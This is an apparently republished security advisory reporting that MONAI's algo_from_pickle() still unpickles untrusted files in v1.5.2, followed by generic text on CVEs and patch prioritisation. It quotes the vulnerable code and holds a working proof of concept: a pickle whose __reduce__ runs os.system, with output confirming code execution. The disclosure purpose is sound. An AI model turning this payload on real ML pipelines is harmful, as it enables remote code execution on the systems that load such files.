GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
def algo_from_pickle(pkl_filename: str, ...):
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
data = pickle.loads(f.read()) # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.
| Software | Affected versions |
|---|---|
monai
|
< 1.6.0 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
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